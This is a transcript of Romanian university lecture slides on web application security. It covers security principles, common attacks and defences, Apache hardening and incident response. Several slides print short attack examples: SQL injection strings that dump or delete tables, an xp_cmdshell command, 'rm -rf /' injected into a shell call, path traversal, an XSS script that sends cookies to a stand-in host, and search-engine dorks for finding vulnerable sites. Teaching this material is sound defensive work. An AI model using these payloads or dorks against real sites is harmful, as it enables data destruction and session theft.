web - web security
DESCRIPTION
TRANSCRIPT
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
Tehnologii Web
Dr. SabinCorneliu BuragaFacultatea de Informatica
Universitatea “A.I.Cuza” – Iasi, Romania
http://www.infoiasi.ro/~busaco/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
Securitatea aplicatiilor Web
Detalii in [PSW, 297‐305] [SW, 286‐294]
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
“Experienta este acel minunat lucru care iti da voie sa recunosti o gresealape care ai mai facut‐o.”
F.P. Jones
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
Aspecte privind securitatea datelorAtacuri Web
Prevenirea & supravietuireaMonitorizarea & testarea
De retinut
cuprins
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
intrebare
Ce inseamna securitatea datelor?
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Realitati:peste 70% din organizatii sufera pierderi financiare
datorate incidentelor de securitate
Cauze:virusi informatici >75%
acte malitioase interne >40%actiuni malitioase externe ~25%
erori software ~70%spionaj industrial ~10%
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Securitatea este procesul de mentinerea unui nivel acceptabil de risc perceptibil
“Security is a process, not an end state.”Mitch Kabay
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Cracker vs. hacker
Mituri:Security by obscurity
Nimeni nu‐i poate detecta pe cracker‐iSoftware‐ul antivirus ofera protectie totalaConexiunile Internet nu pot fi detectate
Din moment ce un fisier e sters, este pierdut pe vecie
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
ConfidentialitateaAutentificareaAutorizareaIntegritateaNerepudierea
Intimitatea (privacy)Disponibilitatea
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Confidentialitateaimposibilitatea unei terte entitati sa aiba acces
la datele vehiculate intre doi receptori
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
ConfidentialitateaSolutii:
conexiuni private intre cele 2 puncte terminaleale canalului de comunicatie
datele circula printr‐un tunel oferit de o retea privatavirtuala (VPN – Virtual Private Network)
criptarea datelor via diverse tehnici (biblioteci specializatesi/sau oferite de mediile de dezvoltare)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Autentificareamecanism ce permite utilizatorilor sa acceseze
un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
AutentificareaSolutii:
serverul Web ofera suport pentru autentificari de bazasau bazate pe algoritmi de tip digest (e.g., MD5)
folosirea/implementarea serviciilor de autentificare
maniera de autentificare poate fi exprimata prin SAML (Security Assertion Markup Language)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Autorizareaspecifica actiunile (rolurile) pe care un utilizator
le poate realiza intr‐un anumit context
asociata autentificarii
se permite administratorului definirea politicilorde control al accesului la servicii
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
AutorizareaSolutii:
drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List)
controlul accesului bazat pe roluri (RBAC – RoleBased Access Control)
tehnici de tip SSO (Single SignOn)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Integritateain acest context, implica detectarea incercarilor de
modificare neautorizata a datelor transmise
Solutii: algoritmi de tip digestsemnaturi digitale
(stocate, eventual, in format XML – XML Signature)pot fi vehiculate si via mesaje SOAP
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Nerepudiereaasigura ca expeditorul unui mesaj nu poate afirma
ca nu l‐a trimis
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
NerepudiereaSolutie:
certificate digitalestocheaza datele privind identitatea unei entitati
detinatoare a unui secret (parola, serie a cartii de credit, certificat digital,…)
Infrastructuracu chei publicePKI – Public Key
Infrastructure
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
NerepudiereaSolutie: certificate digitale
emise de o autoritate de certificare(CA – Certification Authority)
verificate de o autoritate de inregistrare(RA – Registration Authority)
servicii PKI via XKMS (XML Key Management Specification)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Disponibilitateao anumita resursa sa poata fi accesata
la momentul oportun
Cauze ale indisponibilitatii: atacuri de refuz al serviciilor DoS (Denial of Service)atacuri distribuite de tip DDoS (Distributed DoS)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Intimitateavizeaza drepturile ce trebuie respectate privind
caracterul (subiectul) datelor vehiculate
confundata, deseori, cu confidentialitatea
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
IntimitateaBrese:
stocarea necorespunzatoare a datelor la nivel de server (information disclosure)
atacuri de tip XSS (CrossSite Scripting)
atacuri de tip phishing
configurarea necorespunzatoare a sistemelor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Faze ale procesului de securizareEstimare a riscurilor (assessment)activitati manageriale + actiuni tehnice
Protejare – prevenire a atacurilorDetectare – identificarea incidentelor (intrusions)Raspuns la atacurirestaurarea functionalitatii (“patch & proceed”) + alegerea remediilor legale (“pursue & prosecute”)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
SecuritateaWeb trebuia sa ia in consideratie:clientul – interactiune, date personale (cookie‐uri),
transferuri asincrone via AJAX,…datele in tranzit – securitatea retelei, schimb sigur de mesaje, ne‐repudiere
serverul – securitatea serverului/serverelor Web, securitatea aplicatiilor, disponibilitatea serviciilor
Atacurile pot viza oricare din cele 3 aspecte!
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Vulnerabilitatislabiciuni ale unui sistem hardware/software ce permit
utilizatorilor neautorizati sa aiba acces asupra lui
nici un sistem nu este 100% sigur
pot aparea si datorita proastei administrari
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Examinarea mediuluiidentificarea porturilor (serviciilor) publicedescoperirea tipurilor & versiunilor aplicatiilorgenerarea de erori & examinarea mesajelor obtinutegasirea de informatii sensibile: cod‐sursa, comentarii, cimpuri ascunse ale formulareloretc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Stabilirea tintei ataculuimecanismul de autentificare (login)cimpuri de intrare ale formularelor Webmanagementul sesiunilorinfrastructura folositae.g., serverele de stocare a datelor, servicii aditionale,…
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
securitatea datelor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Cunoasterea profilului atacatoruluiResursele avute la dispozitie: financiare, tehniceTimpul acordatRiscul asumat – revendicarea sau nu a ataculuiAccesul la Internet si calitatea acestuiaObiectivele urmarite: recunoastere mondiala, denigrarea tintei, furt de informatii/bani etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Tipologii de cracker‐iOportunisti (script kiddies) – scop “recreational”, faraobiective/tinte clare, utilizeaza programe disponibileliber pentru a scana/testa vulnerabilitati
Intermediari – obiectiv conturat, au mai multa rabdaresi cunostinte tehnice mai profunde, cu probabilitatemai mare de succes
Sofisticati – obiectiv vizind o organizatie, ataca trecindpeste masuri de prevedere, au cunostinte avansate
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
La nivel de HTTPAnalizarea pachetelor de date (network sniffing):functioneaza pentru fluxuri de date HTTP necriptate
Solutie: HTTPS – folosirea HTTP peste (W)TLS –(Wireless) Transport Layer Security
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
La nivel de HTTPDeturnarea sesiunilor (session hijacking): atacatorul determina SID‐ul utilizatorului siil foloseste in scop propriuExemplu: analizarea cimpului Referer
Referer: https://www.mail.info/showmsg.jsp?id=98755&jsessid=BAC13606AC22B81E5137F45F95EE7573
Solutii: eliminarea SID‐ului din URL, stocarea SID‐uluiin cimpul User-Agent, utilizarea unui SID variabil
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injectionPresupune scrierea unor interogari SQL care permitafisarea, alterarea, stergerea de date din baze de datevia formulare Web ori direct folosind URL‐uri
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injection – exemple:select * from studs where name=$name and pass=$passcu $name preluat din formular: '' or 1=1 --
http://www.sit.org/access_client.php?client=3in script: select credit_card from clients where client=$clientce se intimpla daca URI‐ul este
http://www.sit.org/access_client.php?client=client ?dar daca in loc de select aparea delete ?
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injection – variatii:Crearea de interogari SQL incorecte pentru a aveaacces la mesaje de eroare “interesante”
Solutii: proceduri stocate, neutralizareameta‐caracterelor SQL, prepared statements,…
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injection
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injection – variatii:Exemplu: http://www.sit.org/prog.asp?id=1+OR+gh=1Se poate obtine un mesaj precum:[Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.SELECT group_id, securityName, maxSalesCharge, price,security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESCAtacatorul poate continua, de pilda, cu:
http://www.sit.org/prog.asp?id=1;DELETE+FROM+funds+--
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Shell command injectionPosibilitatea de a rula comenzi externe din cadrulscript‐urilor CGI
Exemplu: fie liniile Perl $utiliz = $form{"nume"}; print `finger $utiliz`;
Ce se intimpla daca din formular se preiaroot; rm –rf / ?
Idem si pentru programe scrise in alte limbajeinterpretate (e.g., PHP, Ruby) sau chiar cele C
Solutii: inhibarea folosirii system(), exec() etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
SQL injection + command injectionUtilizarea SQL pentru executia de comenzi la nivelde shell din cadrul serverului de baze de date
Exemplu: SELECT * FROM users WHERE name = 'tux' AND pass = ' '; xp_cmdshell 'taskkill /F /IM sqlservr.exe' --'
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
XPath injectionFolosirea de expresii XPath pentru acces la date intr‐un document XML sau pentru a realizadiverse actiuni via functii/sabloane XPath
Consecinte si asupra transformarilor XSLT considerate maligne
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Path traversalPosibilitatea de accesare a unor zone nepermiseale sistemului de fisiere – i.e., in afara directoarelorin care rezida aplicatia Web
Exemplu: http://www.sit.org/listfiles.jsp?dir=../../
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Poisonous nullbyte attackFolosirea caracterului NULL pentru plasareade script‐uri pe server ce ulterior pot fi executate
Upload‐ul unei “imagini”: img.php%00.jpg“Thank you! See your picture at img.php”
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS)permite “injectarea” in cadrul sistemului,
pentru executia direct in browser,a script‐urilor JavaScript/VBScript
a se vizita si http://ha.ckers.org/xss.html
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS)
functioneazamai ales in cadrul siturilor Web interactive (e.g., forumuri, blog‐uri, wiki‐uri)
poate conduce si la furtul identitatii (phishing)sau la plasarea de cod malware la client:
Cross‐Site Request Forgery
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS) – exemple:
<img src=“javascript:cod” />redirectioneaza utilizatorul spre alt sit,
preia valori de cookie‐uri ori blocheaza browser‐ul
includerea de cod malitios (malware)spre a fi executat la nivel de browser
via elementele <applet>, <embed> sau <object>
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS)
ofera premisele eludarii politicii privitoare la interactiuneadintre script‐urile la nivel de client si entitatile
din acelasi domeniu Internet: sameorigin script policy
uzual, un program aflat pe sit.org nu poate obtine date dintr‐o paginaWeb din domeniul altsit.org
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS) – alte actiuni malefice:
<script type="text/javascript">document.location.replace (
"http://www.sit.org/furt.php" + "?c=" + document.cookie);</script>
Furtul de cookie‐uri(hijacking cookies)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS) – alte actiuni malefice:
<script type="text/javascript">for (i = 0; i < 3000; i++)
window.open ("http://www.sit.org/");</script>
Tentativa de blocarea browser‐ului/ sistemului
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS) – variatii:Folosirea de cod JavaScript pentru a modifica textulredat de navigatorul Web utilizatoruluitehnici mai sofisticate pot recurge la DOM, AJAX,…
Adoptarea de tehnici de social engineering:manipularea utilizatorilor de catre atacator(prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.)
Furtul de parole
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
CrossSite Scripting (XSS)
Solutii de contracarare: inhibarea folosirii tag‐urilor HTML, HTML escaping,
filtrarea marcatorilor, separarea prezentariidatelor de procesarea efectiva etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Probleme cauzate de URI/IRI‐uri (revezi cursul 1)Exemplu: http://www.google.com@63. 241.3.69/Codificarea defectuoasa a codurilor hexa
vulnerabilitati in cadrul unor servere Web Includerea caracterelor Unicode – probleme la decodificarea URL‐urilor considerate “sigure”
Siturile avind domenii internationale(IDN – International Domain Names)atacuri bazate pe homografie
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
O alta problema: folosirea parolelor93% din procesele de autentificare folosesc paroleCu cit utilizatorul trebuie sa retina mai multe parole,cu atit sistemul de protectie via parole e predispusla brese in securitate: alegerea unor parole slabe, partajarea parolelor(grupuri de prieteni, colegi,...), scrierea parolelor pehirtie (eventual, la vedere), folosirea aceleasi parole timp indelungat, pentru mai multe aplicatii/sisteme
Solutii: SSO (vezi OpenID), identificare biometrica etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
O alta problema: troienii WebSituri (adrese) aparent folositoare, la care utilizatorulpoate ajunge eventual via redirectare automata
Se pot folosi in conjunctie cu XSS sautehnici de tip social engineering
Solutie: implementarea unui sistem de tichete (ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Detectarea posibilelor vulnerabilitati – datorateunor configuratii incorecte ori implicite ale
serverelor si/sau aplicatiilor Web – se poate realizaapelind la un motor de cautare
vezi si proiectul “Google Hack” Honeypot: http://ghh.sourceforge.net/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Exemple de actiuni:Detectia versiunilor de programeavind bug‐uri cunoscute: "Apache/2.0.52 server at"
Accesul la fisiere .bak: inurl:index.php.bakAccesarea intranet‐ului: intitle:intranetDetectarea paginilor de administrare: "admin login"Gasirea unor instalari implicite:
intitle:"welcome to" intitle:internet IISLocalizarea interfetelor spre sistemelede baze de date: inurl:main.php phpMyAdmin
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
atacuri
Exemple de actiuni (continuare):Localizarea siturilor bazate pe aplicatii Web recunoscute ca fiind vulnerabile: inurl:custva.asp
Cautarea de aplicatii instalate sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs
Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: "ASP.NET_SessionId" "data source="
A se vizita si http://johnny.ihackstuff.com/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Tehnici:Nivelul retea: firewallurinu ajuta prea mult, portul 80 fiind public
Nivel de transport: TLS (Transport Layer Security) – asiguraautentificarea & confidentialitateamesajelor HTTPautentificare via certificate digitaleconfidentialitate prin criptare Vezi
RFC 2818
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Tehnici:Nivel de aplicatie: securitate persistenta a mesajelor vehiculate
confidentialitate via XML Encryptionintegritate prin XML Signatureautentificare/autorizare via SAML (SecurityAssertions Markup Language), XACML (ExtensibleAccess Control Markup Language), XKMS (XML Key Management Specification) etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Studiu de caz: securizarea serverului ApacheEliminarea modulelor ne‐esentiale (e.g., mod_autoindex,
mod_dav, mod_info, mod_includes, mod_status etc.)Restringerea permisiunilor implicite pentrudirectoarele /, /var/www/html (directorul root al sitului), directoarele (public_)html/ ale utilizatorilor
Rularea serverului ca utilizator cu drepturi minime, cu limitarea accesului la resursele sistemului
“Imunizarea” fisierelor de configurare importanteRularea Apache intr‐un chroot jail
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Studiu de caz: securizarea serverului ApacheFolosirea mod_ssl pentru HTTP peste TLSEliminarea generarii “semnaturii” serverului pentrupaginile generate automate: ServerSignature Off siServerTokens Prod
Eliminarea/limitarea suportului SSI: IncludesNoExecDezactivarea directorului cgi_bin daca nu trebuieinvocate script‐uri CGI
Permiterea rularii CGI‐urilor doar de proprietari: suEXEC
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Studiu de caz: securizarea serverului ApacheVerificarea permisiunilor fisierelor publiceLimitarea cererilor la server (e.g., interzicerea efectuarii metodei POST)
Limitarea folosirii .htaccess de utilizatorii obisnuitiConfigurarea serverelor de aplicatii sa nu trimitabrowser‐ului mesajele de eroare(e.g., la PHP cu display_errors off)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Studiu de caz: securizarea serverului ApacheRularea script‐urilor in mod “sigur” (Perl in taint mode, PHP: safe_mode on, allow_url_fopen off), semnarea codului ca fiind “sigur” (e.g., la Java/.NET)
Limitarea/inhibarea upload‐urilor de fisiereInterzicerea accesului la tabela users la MySQLActualizarea continutului sitului doar prin metodesecurizate – “sigure” (ssh, scp, sftp)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
prevenirea
Securizarea serviciilor Webinitiative & standarde:
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Sistemul trebuie sa‐si duca pina la capat misiuneachiar daca unele componente sau parti din sistem
sunt afectate ori scoase din uz
exemplu: oferirea unei copii readonly a forumului de discutii sau blog‐ului asociat unei teme de interes
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Sistemul trebuie sa sustina macar indeplinireafunctiilor vitale (missioncritical)
Identificarea serviciilor esentialee.g., acces la lista produselor la un sit de comert electronic
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Proprietati ale sistemului:rezistenta la atacuri
recunoasterea atacurilor si efectelor loradaptarea la atacuri
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Rezistenta la atacuri
strategii de respingere a atacului:validarea obligatorie a datelor – via expresii regulate,
scheme XML etc.autentificarea utilizatorilor
acordarea privilegiilor minime…
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Recunoasterea atacurilor si efectelor lor
strategii pentru restaurarea informatiilor,limitarea efectelor, mentinerea/restaurarea
serviciilor compromiseferme de servere Web –Web farms
RAID (Redundant Array of Independent Disks)SAN (Storage Area Network)
backup‐uri (complete sau incrementale)...
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
supravietuirea
Adaptarea la atacuri
strategii pentru imbunatatirea nivelului (sansei)de supravietuire
auditareainvatarea din greseli
…
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
raspunsul la incidente
Raspunsurile agresive – e.g., hack back –sunt prohibite
Se poate recurge la metodologia SANS(System Administration, Networking, and Security)
Etape:pregatire identificare controlul efectelor (containment)
eradicare recuperare continuare (followup)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
raspunsul la incidente
Forensicsproces de “prindere” a cracker‐ilorinvestigation of digital evidence
for use in criminal or civil courts of law
uzual, are loc dupa un incident de securitate
implica analiza hardware‐ului (discuri, RAM),“deseelor” (information detritus), log‐urilor etc.
actiunea de “stergere” a urmelor = antiforensics
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste de verificare a…
capacitatii de deservire a clientilorrobustetei
rularii in situatii extreme
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Se iau in consideratie:Tipul navigatorului (+setarile implicite)Platforma (hardware, sistem de operare,...)Interfata (rezolutia ecranului, adincimea de culoare, largimea de banda,...)
Politica de caching (+siguranta proxy‐ului)Suportul pentru redarea unor tipuri de documente(securitatea folosirii plugin‐urilor)
Limbajul/limbajele de programare utilizate(inclusiv, serverul/serverele de aplicatii)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de programare:Depasiri de buffer‐e
Exemplu: lungimea URI‐urilor trimise de clientProbleme de prelucrare (parsing)
Procesarea URI‐urilor, a datelor primitevia formulare, cookie‐uri, entitatilor XHTML,datelor XML, cererilor HTTP, XML‐RPC si SOAP,interogarilor SQL etc.
Probleme de conversie a datelorDe exemplu, ASCII ↔ Unicode
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de programare:Probleme privitoare la redarea datelor
Exemplu: afisarea perechii nume prenumein browser cind nume="<script>document.location="si prenume="'un_uri'</script>"
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de programare:Probleme de escaping
Exemplu: escaping pentru sirul cs/b: cs%2Fb sau cs%%252Fb sau cs%25%32%46b
“Injectare” directa a datelor via URI sauprin intermediul interfetei Web sau printr‐un fisier(upload ilegal) sau folosind un program (e.g., de administrare la distanta a aplicatiei),...
verificarea escaping‐ului via unelte dedicate
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de programare:Solutii & strategii:
Programare defensiva (defensive programming)Adoptarea standardelor de redactare a codului(enforcing coding standards)
Recurgerea la unitati de testare (testing units)Includerea unui sistem de prevenire, detectare siraportare a erorilor survenite in cod + un sistemde urmarire a bug‐urilor (bug tracking)
Folosirea unui sistem de control al versiunilor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste specifice legate de intimitate (privacy):Datele obtinute de la utilizator trebuie tratateca fiind sigure si confidentiale
Ce date vor fi disponibile in cache‐ul clientului?Cookie‐urile vor contine date sensibile,posibil de exploatat de persoane rau‐voitoare?
Programele trebuie sa stipuleze antetul HTTP Cache-control: no-cache?
Se poate adopta si standardul P3P (Platform for Privacy Preferences): www.w3.org/TR/P3P11/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
Teste privitoare la integrarea componentelor:Gradul de securitate al unei aplicatii este datde gradul de securitate al celei mai vulnerabilecomponente
Exemplu: neverificarea validitatii identificatoruluide utilizator in cazul unei modificari a unor date, pe baza faptului ca aceasta verificare s‐a efectuat dejala nivelul browser‐ului
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/
TehnologiiTehnologii WebWeb <?xml version=“1.0” ?><curs desc=“…” />
monitorizare & testare
